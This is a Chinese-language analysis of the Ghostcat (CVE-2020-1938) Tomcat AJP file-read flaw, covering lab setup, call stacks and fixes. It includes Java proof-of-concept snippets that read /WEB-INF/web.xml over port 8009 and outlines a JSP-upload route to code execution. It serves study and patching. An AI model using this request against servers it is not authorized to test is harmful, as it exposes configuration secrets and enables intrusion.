Apache AJP 协议 CVE-2020-1938 漏洞分析
字数 1608 2025-08-18 11:39:22
Apache AJP协议CVE-2020-1938漏洞分析与利用指南
漏洞概述
CVE-2020-1938(又称Ghostcat漏洞)是Apache Tomcat服务器中AJP协议的一个严重安全漏洞,允许攻击者读取服务器上的任意文件,在特定条件下可实现远程代码执行。该漏洞影响Tomcat 6.x、7.x、8.x和9.x版本。
环境搭建
测试环境准备
- 使用Tomcat 8.0.52版本进行测试(默认开启AJP协议)
- 配置Tomcat远程调试环境:
# 修改catalina.sh文件
if [ -z "$JPDA_ADDRESS" ]; then
JPDA_ADDRESS="localhost:5005"
fi
# 以调试模式启动Tomcat
sh catalina.sh jpda start
- 在IDE(如IntelliJ IDEA)中导入Tomcat的lib目录下所有jar包
- 配置远程调试连接到localhost:5005
AJP协议基础
AJP(Apache JServ Protocol)是定向包协议,特点:
- 功能与HTTP协议相似
- 使用二进制格式传输文本
- 基于TCP协议与Servlet容器通信
- 默认端口8009
漏洞分析工具
AJP客户端实现
需要实现AJP客户端来构造恶意请求,以下是关键组件:
- TesterAjpMessage类 - 扩展Tomcat的AjpMessage类,提供更方便的字符串和头操作
- SimpleAjpClient类 - 实现AJP协议的客户端功能
关键代码结构
// 创建AJP转发消息
TesterAjpMessage createForwardMessage(String url, int method) {
// 设置协议头和方法
message.appendByte(2); // 常量值
message.appendByte(method); // 方法类型
message.appendString("http"); // 协议
message.appendString(url); // URL路径
// 设置其他属性...
}
// 添加特殊属性
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");
漏洞利用原理
文件读取利用
-
通过构造特殊的AJP请求,设置以下属性:
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path
-
请求处理流程:
- AbstractAjpProcessor.process()接收请求
- prepareRequest()方法处理请求属性
- 请求被交给CoyoteAdapter处理
- 最终由JspServlet或DefaultServlet处理
-
关键限制:
- 路径中不能包含"../"(通过RequestUtil.normalize检测)
- 只能读取Web应用目录下的文件(如/WEB-INF/)
远程代码执行利用
在具备文件上传能力的情况下:
- 上传恶意JSP文件
- 通过AJP协议请求该JSP文件
- Tomcat会执行JSP文件中的代码
- 或者使用JSP的include指令包含恶意文件
漏洞利用步骤
- 构造恶意AJP请求:
SimpleAjpClient ac = new SimpleAjpClient();
ac.connect("localhost", 8009);
TesterAjpMessage forwardMessage = ac.createForwardMessage("/aaa.jsp");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, "/WEB-INF/web.xml");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");
forwardMessage.end();
ac.sendMessage(forwardMessage);
- 读取服务器响应获取文件内容
调用栈分析
JspServlet路径调用栈
AbstractAjpProcessor.process()
AbstractAjpProcessor.prepareRequest()
CoyoteAdapter.service()
HttpServlet.service()
JspServlet.service()
JspServletWrapper.service()
JspRuntimeLibrary.include()
JspRuntimeLibrary.handleIncludeException()
DefaultServlet路径调用栈
AbstractAjpProcessor.process()
AbstractAjpProcessor.prepareRequest()
CoyoteAdapter.service()
HttpServlet.service()
DefaultServlet.doGet()
DefaultServlet.serveResource()
修复建议
-
临时解决方案:
- 关闭AJP协议(注释掉server.xml中的AJP Connector配置)
- 配置AJP连接器的secretRequired和secret属性
-
永久解决方案:
- 升级到以下安全版本:
- Tomcat 7.x → 7.0.100+
- Tomcat 8.x → 8.5.51+
- Tomcat 9.x → 9.0.31+
- 升级到以下安全版本:
-
网络层防护:
- 限制AJP端口(8009)的访问,只允许可信IP连接
技术细节补充
-
AJP协议消息结构:
- 前4字节:魔术字(0x1234)和消息长度
- 消息体:包含请求方法和属性
-
漏洞触发关键点:
- 通过INCLUDE属性绕过路径安全检查
- 利用Servlet容器对AJP请求的特殊处理
-
文件读取限制:
- 只能读取Web应用目录下的文件
- 不能跨目录读取(如../../../etc/passwd)
参考资源
- 官方安全公告:Apache Tomcat官方网站
- CVE详细描述:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938
- 漏洞验证工具:GitHub上的各种PoC实现
总结
CVE-2020-1938漏洞通过Tomcat的AJP协议实现文件读取和潜在RCE,危害严重。管理员应及时评估风险并采取修复措施,开发者应避免在生产环境中开启不必要的AJP服务。